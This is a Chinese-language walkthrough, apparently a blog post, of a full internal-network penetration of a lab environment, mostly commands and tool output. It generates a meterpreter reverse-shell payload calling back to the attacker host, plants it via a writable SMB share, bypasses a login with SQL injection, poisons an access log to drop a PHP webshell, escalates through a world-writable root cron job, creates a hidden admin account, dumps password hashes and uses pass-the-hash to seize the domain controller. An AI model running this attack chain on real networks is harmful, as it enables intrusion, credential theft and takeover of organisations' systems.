一个完整的内网渗透是什么样子的

0x00 前言

今天这篇文章将试图呈现一个完整的内网渗透过程。文章略长,如果感兴趣的话,请耐心阅读!

0x01 案例分析

实验环境:

  • 目标环境:10.0.0.0/24, 10.0.1.0/24

  • 攻击主机:10.0.0.5 (Kali), 10.0.0.7 (Windows)

渗透过程:

基本的主机探测:

root@kali:~# nmap -sn 10.0.0.0/24 -oG online.txt

root@kali:~# cat online.txt | grep -i up

Host: 10.0.0.1 ()    Status: Up

Host: 10.0.0.2 ()    Status: Up

Host: 10.0.0.7 () Status: Up

Host: 10.0.0.9 () Status: Up

Host: 10.0.0.11 () Status: Up

Host: 10.0.0.5 () Status: Up

Nmap done at Wed May 30 06:10:17 2018 – 256 IP addresses (6 hosts up) scanned in 1.83 seconds

任意选取其中的一个online的IP(如:10.0.0.9)进一步探测:

root@kali:~# nmap -sV -A -O 10.0.0.9

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:12 UTC

Nmap scan report for 10.0.0.9

Host is up (0.00048s latency).

Not shown: 990 closed ports

PORT      STATE SERVICE       VERSION

135/tcp   open  msrpc         Microsoft Windows RPC

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

445/tcp   open  microsoft-ds  Windows Server 2008 R2 Datacenter 7601 Service Pack 1 microsoft-ds

3389/tcp  open  ms-wbt-server Microsoft Terminal Service

| ssl-cert: Subject: commonName=Monitor

| Not valid before: 2018-05-27T07:03:14

|_Not valid after:  2018-11-26T07:03:14

|_ssl-date: 2018-05-30T06:14:01+00:00; +5s from scanner time.

49152/tcp open  msrpc         Microsoft Windows RPC

49153/tcp open  msrpc         Microsoft Windows RPC

49154/tcp open  msrpc         Microsoft Windows RPC

49158/tcp open  msrpc         Microsoft Windows RPC

49159/tcp open  msrpc         Microsoft Windows RPC

49165/tcp open  msrpc         Microsoft Windows RPC

MAC Address: 0A:14:2C:84:E9:D2 (Unknown)

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Network Distance: 1 hop

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:

|_clock-skew: mean: 4s, deviation: 0s, median: 4s

|_nbstat: NetBIOS name: MONITOR, NetBIOS user: , NetBIOS MAC: 0a:14:2c:84:e9:d2 (unknown)

| smb-os-discovery:

|   OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1 (Windows Server 2008 R2 Datacenter 6.1)

|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1

|   Computer name: Monitor

|   NetBIOS computer name: MONITORx00

|   Workgroup: WORKGROUPx00

|_  System time: 2018-05-30T06:14:01+00:00

| smb-security-mode:

|   account_used: guest

|   authentication_level: user

|   challenge_response: supported

|_  message_signing: disabled (dangerous, but default)

| smb2-security-mode:

|   2.02:

|_    Message signing enabled but not required

| smb2-time:

|   date: 2018-05-30 06:14:01

|_  start_date: 2018-05-30 04:32:09

从以上探测结果可以发现该主机是Windows 2008 R2且开放了SMB和RDP,继续探测:

root@kali:~# nmap --script=/usr/share/nmap/scripts/smb-enum-shares.nse -p 445 10.0.0.9

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-30 06:16 UTC

Nmap scan report for 10.0.0.9

Host is up (0.00019s latency).

PORT    STATE SERVICE

445/tcp open  microsoft-ds

MAC Address: 0A:14:2C:84:E9:D2 (Unknown)

Host script results:

| smb-enum-shares:

|   account_used: guest

|   \10.0.0.9ADMIN$:

|     Type: STYPE_DISKTREE_HIDDEN

|     Comment: Remote Admin

|     Anonymous access:

|     Current user access:

|   \10.0.0.9C$:

|     Type: STYPE_DISKTREE_HIDDEN

|     Comment: Default share

|     Anonymous access:

|     Current user access:

|   \10.0.0.9IPC$:

|     Type: STYPE_IPC_HIDDEN

|     Comment: Remote IPC

|     Anonymous access: READ

|     Current user access: READ/WRITE

|   \10.0.0.9Users:

|     Type: STYPE_DISKTREE

|     Comment:

|     Anonymous access:

|     Current user access: READ

|   \10.0.0.9print$:

|     Type: STYPE_DISKTREE

|     Comment: Printer Drivers

|     Anonymous access:

|     Current user access: READ

|   \10.0.0.9share:

|     Type: STYPE_DISKTREE

|     Comment:

|     Anonymous access:

|_    Current user access: READ/WRITE

此时,我们发现该主机存在一个可读写的share folder \10.0.0.9share:

root@kali:~# smbclient //10.0.0.9/share -N

WARNING: The “syslog” option is deprecated

Try “help” to get a list of possible commands.

smb: > ls

.                                   D        0  Wed May 30 06:16:59 2018

…                                  D        0  Wed May 30 06:16:59 2018

logs.txt                            A    39404  Wed May 30 06:19:20 2018

processMonitor.py                   A      576  Mon May 28 06:56:33 2018

7863807 blocks of size 4096. 1680653 blocks available

smb: >

为了进一步了解,登录我们用于渗透的另一台Windows主机(10.0.0.7)。

一个完整的内网渗透是什么样子的_第1张图片

发现,这个共享文件夹里包含了一个定期监控运行进程的python脚本。

import win32com.client

import datetime

def logging(context):

now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

f = open(‘c:sharelogs.txt’, ‘a’)

f.write(’{}: {}’.format(now,context))

f.close()

def process_monitor():

wmi=win32com.client.GetObject(‘winmgmts:’)

for p in wmi.InstancesOf(‘win32_process’):

logging("{}{}{}n".format(p.Name, p.Properties_(‘ProcessId’),

int(p.Properties_(‘UserModeTime’).Value)+int(p.Properties_(‘KernelModeTime’).Value)))

if name == “main”:

process_monitor()

由于该文件夹可读写,我们可以生成并放置一个meterpreter的payload,然后修改该python脚本来执行它,这样我们就可以得到一个meterpreter session了。

root@kali:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.0.0.5 -f exe > s.exe

修改python脚本如下:

import win32com.client

import datetime

from subprocess import call

def logging(context):

now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")

f = open(‘c:sharelogs.txt’, ‘a’)

f.write(’{}: {}’.format(now,context))

f.close()

def process_monitor():

wmi=win32com.client.GetObject(‘winmgmts:’)

for p in wmi.InstancesOf(‘win32_process’):

logging("{}{}{}n".format(p.Name, p.Properties_(‘ProcessId’),

int(p.Properties_(‘UserModeTime’).Value)+int(p.Properties_(‘KernelModeTime’).Value)))

if name == “main”:

process_monitor()

call([“c:shares.exe”])

几分钟后,我们顺利地获得了一个meterpreter session了。

msf exploit(handler) > sessions

Active sessions

===============

Id  Name  Type                     Information                      Connection

–  ----  ----                     -----------                      ----------

2         meterpreter x64/windows  MONITORAdministrator @ MONITOR  10.0.0.5:4444 -> 10.0.0.9:49536 (10.0.0.9)

meterpreter > getuid

Server username: MONITORAdministrator

meterpreter > sysinfo

Computer        : MONITOR

OS              : Windows 2008 R2 (Build 7601, Service Pack 1).

Architecture    : x64

System Language : en_US

Domain          : WORKGROUP

Logged On Users : 2

Meterpreter     : x64/windows

meterpreter > ipconfig

Interface  1

============

Name         : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU          : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11

============

Name         : Microsoft Teredo Tunneling Adapter

Hardware MAC : 00:00:00:00:00:00

MTU          : 1280

IPv6 Address : fe80:7f:fffe

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 13

============

Name         : AWS PV Network Device #0

Hardware MAC : 0a:14:2c:84:e9:d2

MTU          : 9001

IPv4 Address : 10.0.0.9

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::3053:3068:2bf6:272c

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 14

============

Name         : Microsoft ISATAP Adapter

Hardware MAC : 00:00:00:00:00:00

MTU          : 1280

IPv6 Address : fe80::5efe:a00:9

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 20

============

Name         : AWS PV Network Device #1

Hardware MAC : 0a:17:b5:cb:d1:ac

MTU          : 9001

IPv4 Address : 10.0.1.9

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::2189:c3cf:68e3:aab9

IPv6 Netmask : ffff:ffff:ffff:ffff::

同时,可以看出这个机器具有多个网卡且横跨在2个网段中(10.0.0.9/24和10.0.1.9/24)。因此,我们也可以利用这个机器做跳板继续渗透10.0.1.0/24这段里的机器。

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.

[!] Example: run post/multi/manage/autoroute OPTION=value […]

Local subnet: 10.0.0.0/255.255.255.0

Local subnet: 10.0.1.0/255.255.255.0

meterpreter > background

[*] Backgrounding session 2…

msf exploit(handler) > route add 10.0.1.0 255.255.255.0 2

[*] Route added

msf exploit(handler) > route print

IPv4 Active Routing Table

=========================

Subnet             Netmask            Gateway

------             -------            -------

10.0.1.0           255.255.255.0      Session 2

[*] There are currently no IPv6 routes defined.

利用auxiliary/scanner/portscan/tcp去扫描10.0.1.0/24段,如下:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 10.0.1.0/24

RHOSTS => 10.0.1.0/24

msf auxiliary(tcp) > set PORTS 22,80,3306,445,3389,139,1433

PORTS => 22,80,3306,445,3389,139,1433

msf auxiliary(tcp) > set threads 20

threads => 20

msf auxiliary(tcp) > run

[+] 10.0.1.7:             - 10.0.1.7:445 - TCP OPEN

[+] 10.0.1.11:            - 10.0.1.11:80 - TCP OPEN

[+] 10.0.1.9:             - 10.0.1.9:445 - TCP OPEN

[+] 10.0.1.9:             - 10.0.1.9:139 - TCP OPEN

[+] 10.0.1.11:            - 10.0.1.11:22 - TCP OPEN

[+] 10.0.1.9:             - 10.0.1.9:3389 - TCP OPEN

[+] 10.0.1.7:             - 10.0.1.7:139 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:139 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:80 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:3389 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:3306 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:445 - TCP OPEN

我们任意选取其中的一台机器(如:10.0.1.11),我们发现其开放了80和22端口。接下来,我们可以在session 2里设置端口转发,将攻击机(10.0.0.5)上的8080端口转发到目标机(10.0.1.7)上的80端口,方便我们后续的测试。

msf auxiliary(tcp) > sessions 2

[*] Starting interaction with 2…

meterpreter > portfwd add -l 8080 -p 80 -r 10.0.1.11

[*] Local TCP relay created: :8080 <-> 10.0.1.11:80

meterpreter > portfwd list

Active Port Forwards

====================

Index  Local         Remote        Direction

-----  -----         ------        ---------

1      0.0.0.0:8080  10.0.1.11:80  Forward

1 total active port forwards.

这时,我们再次登录我们的Windows渗透机器(10.0.0.7)来查看一下这是个什么网站。

一个完整的内网渗透是什么样子的_第2张图片

经过测试发现,这个登录功能存在SQL Injection,可以通过以下的用户名和密码登录:

username: admin

password: ’ or ‘1’='1

一个完整的内网渗透是什么样子的_第3张图片

经过观察发现,这个网站应该直接本地文件包含了web服务器的access_log,因此我们可以想到利用文件包含漏洞来生成一个webshell,具体步骤如下:

1. 发送一个包含webshell代码的HTTP请求使其被写入到access_log里, 如一个仅包含上传功能的php小马

一个完整的内网渗透是什么样子的_第4张图片

2. 访问http://10.0.0.5:8080/admin.php来文件包含access_log使其中的php代码被执行,从获取一个具备上传功能的php小马

一个完整的内网渗透是什么样子的_第5张图片

3. 访问http://10.0.0.5:8080/upload.php并上传一个功能齐全的PHP webshell

一个完整的内网渗透是什么样子的_第6张图片

4. 访问http://10.0.0.5:8080/shell.php并输入密码qwer,则成功地获取了一个webshell

一个完整的内网渗透是什么样子的_第7张图片

利用webshell提供的功能我们发现这只是一个用于运行web service的低权限的用户(daemon),那么接下来我们需要解决的问题就是本地提权到root权限。

一个完整的内网渗透是什么样子的_第8张图片

一个完整的内网渗透是什么样子的_第9张图片

如上图,我们找到了一个777权限的root用户所拥有的cronjob文件/etc/cron.hourly/clean_up_access_log。看起来这个脚本似乎是用于定期清理access_log的。因此,我们似乎可以利用它来获得一个root权限的meterpreter shell。

首先,生成一个Linux的meterpreter payload并通过webshell上传到目标主机上并添加执行权限;

root@kali:~# msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > root.elf

system(‘chmod +x /opt/lampp/htdocs/root.elf’);

接着,修改/etc/cron.hourly/clean_up_access_log使其可以执行我们上传的payload并等待cronjob的下次执行;

system(“echo ‘/opt/lampp/htdocs/root.elf’ >> /etc/cron.hourly/clean_up_access_log”);

最后,我们成功地在目标机器(10.0.1.11)上获得了一个root权限的meterpreter session,如下:

msf exploit(handler) > use exploit/multi/handler

msf exploit(handler) > set payload linux/x64/meterpreter/bind_tcp

payload => linux/x64/meterpreter/bind_tcp

msf exploit(handler) > set RHOST 10.0.1.11

RHOST => 10.0.1.11

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name  Current Setting  Required  Description

----  ---------------  --------  -----------

Payload options (linux/x64/meterpreter/bind_tcp):

Name   Current Setting  Required  Description

----   ---------------  --------  -----------

LPORT  4444             yes       The listen port

RHOST  10.0.1.11        no        The target address

Exploit target:

Id  Name

–  ----

0   Wildcard Target

msf exploit(handler) > run

[*] Started bind handler

[*] Sending stage (802416 bytes) to 10.0.1.11

[*] Meterpreter session 4 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444) at 2018-05-30 15:23:26 +0000

meterpreter > sysinfo

Computer     : 10.0.1.11

OS           : Ubuntu 16.04 (Linux 4.4.0-1060-aws)

Architecture : x64

Meterpreter  : x64/linux

meterpreter > getuid

Server username: uid=0, gid=0, euid=0, egid=0

meterpreter > shell

Process 24394 created.

Channel 2 created.

id

uid=0(root) gid=0(root) groups=0(root)

ifconfig

eth0      Link encap:Ethernet  HWaddr 0a:3a:ea:dc:8a:44

inet addr:10.0.1.11  Bcast:10.0.1.255  Mask:255.255.255.0

inet6 addr: fe80::83a:eaff:fedc:8a44/64 Scope:Link

UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1

RX packets:2703 errors:0 dropped:0 overruns:0 frame:0

TX packets:2973 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:1105355 (1.1 MB)  TX bytes:672700 (672.7 KB)

lo        Link encap:Local Loopback

inet addr:127.0.0.1  Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING  MTU:65536  Metric:1

RX packets:192 errors:0 dropped:0 overruns:0 frame:0

TX packets:192 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1

RX bytes:14456 (14.4 KB)  TX bytes:14456 (14.4 KB)

ls -l /root

total 4

-rw------- 1 root root 84 May 25 10:10 readme.txt

利用上面获得的root权限的meterpreter session,我意外的发现了一个有趣的文件/root/readme.txt,其中包含了一个远程FTP(10.0.1.26)的口令和密码。

cat /root/readme.txt

Credentials for FTP:

  • IP: 10.0.1.26

  • User: ftpadmin

  • Password: nKG6aqwvveFutn$@

既然拿到了这个信息,我们不妨再次探测一下我们的下一个目标(10.0.1.26)。

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 10.0.1.26

RHOSTS => 10.0.1.26

msf auxiliary(tcp) > set threads 50

threads => 50

msf auxiliary(tcp) > set PORTS 1-1025,1433,3306,3389

PORTS => 1-1025,1433,3306,3389

msf auxiliary(tcp) > run

[+] 10.0.1.26:            - 10.0.1.26:21 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:80 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:139 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:135 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:445 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:443 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:3306 - TCP OPEN

[+] 10.0.1.26:            - 10.0.1.26:3389 - TCP OPEN

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

果不其然,目标机(10.0.1.26)确实存在一个FTP站点。进入上面获得的session 2,在目标机10.0.0.9(10.0.1.9)上添加一个管理员账号:

msf auxiliary(tcp) > sessions 2

[*] Starting interaction with 2…

meterpreter > shell

Process 1116 created.

Channel 147 created.

Microsoft Windows [Version 6.1.7601]

Copyright © 2009 Microsoft Corporation.  All rights reserved.

C:Windowssystem32>net user test 1qazxsw2@ /add

net user test 1qazxsw2@ /add

The command completed successfully.

C:Windowssystem32>net localgroup administrators test /add

net localgroup administrators test /add

The command completed successfully.

C:Windowssystem32>

接着RDP到目标主机10.0.0.9(10.0.1.9)上,并尝试使用已经获取的口令登录。

一个完整的内网渗透是什么样子的_第10张图片

结果显示,我们成功地登录了该FTP站点,且具备读写权限。另外,我们还发现该FTP为目标机10.0.1.26上的一个web站点的根目录。因此,我们可以通过该FTP轻松地上传一个webshell.php文件,如下:

一个完整的内网渗透是什么样子的_第11张图片

有了webshell我们便可以上传一个meterpreter payload来获取一个功能强大的meterpreter session了。

msf auxiliary(tcp) > use exploit/multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter/bind_tcp

payload => windows/x64/meterpreter/bind_tcp

msf exploit(handler) > set RHOST 10.0.1.26

RHOST => 10.0.1.26

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name  Current Setting  Required  Description

----  ---------------  --------  -----------

Payload options (windows/x64/meterpreter/bind_tcp):

Name      Current Setting  Required  Description

----      ---------------  --------  -----------

EXITFUNC  process          yes       Exit technique (Accepted: ‘’, seh, thread, process, none)

LPORT     4444             yes       The listen port

RHOST     10.0.1.26        no        The target address

Exploit target:

Id  Name

–  ----

0   Wildcard Target

msf exploit(handler) > run

[*] Started bind handler

[*] Sending stage (205379 bytes) to 10.0.1.26

[*] Meterpreter session 5 opened (10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444) at 2018-05-31 02:08:05 +0000

meterpreter > sysinfo

Computer        : IT-MANAGE-PC

OS              : Windows 2008 R2 (Build 7601, Service Pack 1).

Architecture    : x64

System Language : en_US

Domain          : GBOX

Logged On Users : 1

Meterpreter     : x64/windows

meterpreter > getuid

Server username: NT AUTHORITYSYSTEM

meterpreter > ifconfig

Interface  1

============

Name         : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU          : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11

============

Name         : Microsoft Teredo Tunneling Adapter

Hardware MAC : 00:00:00:00:00:00

MTU          : 1280

IPv6 Address : fe80:7f:fffe

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 13

============

Name         : AWS PV Network Device #0

Hardware MAC : 0a:d9:e6:59:35:f0

MTU          : 9001

IPv4 Address : 10.0.1.26

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::4171:a218:74ca:871f

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 14

============

Name         : Microsoft ISATAP Adapter

Hardware MAC : 00:00:00:00:00:00

MTU          : 1280

IPv6 Address : fe80::5efe:a00:11a

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

同时,我们发现目标机(10.0.1.26)是一个加入了GBOX域的机器,且DNS服务器的IP是10.0.1.7:

meterpreter > shell

Process 4080 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright © 2009 Microsoft Corporation.  All rights reserved.

C:xampphtdocs>ipconfig -all

ipconfig -all

Windows IP Configuration

Host Name . . . . . . . . . . . . : IT-MANAGE-PC

Primary Dns Suffix  . . . . . . . : gbox.com

Node Type . . . . . . . . . . . . : Hybrid

IP Routing Enabled. . . . . . . . : No

WINS Proxy Enabled. . . . . . . . : No

DNS Suffix Search List. . . . . . : us-west-2.ec2-utilities.amazonaws.com

ec2.internal

us-east-1.ec2-utilities.amazonaws.com

compute-1.internal

us-west-2.compute.internal

gbox.com

Ethernet adapter Local Area Connection 3:

Connection-specific DNS Suffix  . : us-west-2.compute.internal

Description . . . . . . . . . . . : AWS PV Network Device #0

Physical Address. . . . . . . . . : 0A-D9-E6-59-35-F0

DHCP Enabled. . . . . . . . . . . : Yes

Autoconfiguration Enabled . . . . : Yes

Link-local IPv6 Address . . . . . : fe80::4171:a218:74ca:871f%13(Preferred)

IPv4 Address. . . . . . . . . . . : 10.0.1.26(Preferred)

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Lease Obtained. . . . . . . . . . : Wednesday, May 30, 2018 4:32:21 AM

Lease Expires . . . . . . . . . . : Thursday, May 31, 2018 3:02:46 AM

Default Gateway . . . . . . . . . : 10.0.1.1

DHCP Server . . . . . . . . . . . : 10.0.1.1

DHCPv6 IAID . . . . . . . . . . . : 302649180

DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-22-9D-15-7F-0A-0F-5C-B0-05-5E

DNS Servers . . . . . . . . . . . : 10.0.1.7

NetBIOS over Tcpip. . . . . . . . : Enabled

Tunnel adapter isatap.us-west-2.compute.internal:

Media State . . . . . . . . . . . : Media disconnected

Connection-specific DNS Suffix  . : us-west-2.compute.internal

Description . . . . . . . . . . . : Microsoft ISATAP Adapter

Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0

DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

Tunnel adapter Local Area Connection* 11:

Media State . . . . . . . . . . . : Media disconnected

Connection-specific DNS Suffix  . :

Description . . . . . . . . . . . : Microsoft Teredo Tunneling Adapter

Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0

DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

那么接下来,我们的下一个目标就是IP为10.0.1.7的域控服务器了。

经过一系列测试,发现目标机似乎只接受来自IP10.0.1.26(Session 5)的流量,因此我们需要先添加一个专门的路由使我们的攻击机(10.0.0.5)流量可以抵达目标主机(10.0.1.7)。

msf exploit(psexec) > route add 10.0.1.7 255.255.255.255 5

msf exploit(psexec) > route print

IPv4 Active Routing Table

=========================

Subnet             Netmask            Gateway

------             -------            -------

10.0.1.0           255.255.255.0      Session 2

10.0.1.7           255.255.255.255    Session 5

[*] There are currently no IPv6 routes defined.

首先,搜集利用hashdump命令收集一下主机10.0.1.26的所有密码Hash:

msf exploit(handler) > sessions 5

[*] Starting interaction with 5…

meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:616463a26de99900462a713770e806ab:::

gamebox:1001:aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

接着,我们可以尝试使用Pass The Hash来测试一下我们的目标机(10.0.1.7),并成功地拿下了该域控服务器。

msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

Name                  Current Setting                                                    Required  Description

----                  ---------------                                                    --------  -----------

RHOST                 10.0.1.7                                                           yes       The target address

RPORT                 445                                                                yes       The SMB service port (TCP)

SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing

SERVICE_DISPLAY_NAME                                                                     no        The service display name

SERVICE_NAME                                                                             no        The service name

SHARE                 ADMIN$                                                             yes       The share to connect to, can be an admin share (ADMIN , C ,C ,C,…) or a normal read/write folder share

SMBDomain             gbox                                                               no        The Windows domain to use for authentication

SMBPass               aad3b435b51404eeaad3b435b51404ee:4ea29bdfa3e99248ce57c9f29d114a6f  no        The password for the specified username

SMBUser               gamebox                                                            no        The username to authenticate as

Payload options (windows/x64/meterpreter/bind_tcp):

Name      Current Setting  Required  Description

----      ---------------  --------  -----------

EXITFUNC  thread           yes       Exit technique (Accepted: ‘’, seh, thread, process, none)

LPORT     4444             yes       The listen port

RHOST     10.0.1.7         no        The target address

Exploit target:

Id  Name

–  ----

0   Automatic

msf exploit(psexec) > run

[*] 10.0.1.7:445 - Connecting to the server…

[*] Started bind handler

[*] 10.0.1.7:445 - Authenticating to 10.0.1.7:445|gbox as user ‘gamebox’…

[*] 10.0.1.7:445 - Selecting PowerShell target

[*] 10.0.1.7:445 - Executing the payload…

[+] 10.0.1.7:445 - Service start timed out, OK if running a command or non-service executable…

[*] Sending stage (205379 bytes) to 10.0.1.7

[*] Meterpreter session 6 opened (10.0.0.5-1-10.0.0.9:0 -> 10.0.1.7:4444) at 2018-05-31 02:38:04 +0000

meterpreter > sysinfo

Computer        : DC

OS              : Windows 2008 R2 (Build 7601, Service Pack 1).

Architecture    : x64

System Language : en_US

Domain          : GBOX

Logged On Users : 1

Meterpreter     : x64/windows

meterpreter > getuid

Server username: NT AUTHORITYSYSTEM

meterpreter > ifconfig

Interface  1

============

Name         : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU          : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11

============

Name         : Microsoft Teredo Tunneling Adapter

Hardware MAC : 00:00:00:00:00:00

MTU          : 1280

IPv6 Address : fe80:7f:fffe

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 13

============

Name         : AWS PV Network Device #0

Hardware MAC : 0a:ee:ba:e9:01:22

MTU          : 9001

IPv4 Address : 10.0.1.7

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::c907:5309:68a2:b1b8

IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 14

============

Name         : Microsoft ISATAP Adapter

Hardware MAC : 00:00:00:00:00:00

MTU          : 1280

IPv6 Address : fe80::5efe:a00:107

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

至此,我们已经成功地拿下了所有实验环境下的主机控制权限。

msf exploit(psexec) > sessions

Active sessions

===============

Id  Name  Type                     Information                               Connection

–  ----  ----                     -----------                               ----------

2         meterpreter x64/windows  MONITORAdministrator @ MONITOR           10.0.0.5:4444 -> 10.0.0.9:51800 (10.0.0.9)

4         meterpreter x64/linux    uid=0, gid=0, euid=0, egid=0 @ 10.0.1.11  10.0.0.5-10.0.0.9:0 -> 10.0.1.11:4444 (10.0.1.11)

5         meterpreter x64/windows  NT AUTHORITYSYSTEM @ IT-MANAGE-PC        10.0.0.5-10.0.0.9:0 -> 10.0.1.26:4444 (10.0.1.26)

6         meterpreter x64/windows  NT AUTHORITYSYSTEM @ DC                  10.0.0.5-1-10.0.0.9:0 -> 10.0.1.7:4444 (10.0.1.7)

0x02 小结

本文重点介绍了一个相对完整的内网渗透过程(即:外网主机-内网主机-内网域内主机-内网域控服务器)。当然,这只是个简单的实验环境,实际实战中遇到的情况会比这复杂很多(比如:各种反病毒程序的bypass,内网反入侵系统的检测的绕过等等),但是基本思路和方法都是类似和想通的。另外,因笔者水平有限,文中表达不当或者不正确的地方,也敬请谅解和指正。

需要网络安全学习视频,全套工具包、渗透测试书籍、src技术文档、应急响应、CTF、逆向等资源【点我领取】

你可能感兴趣的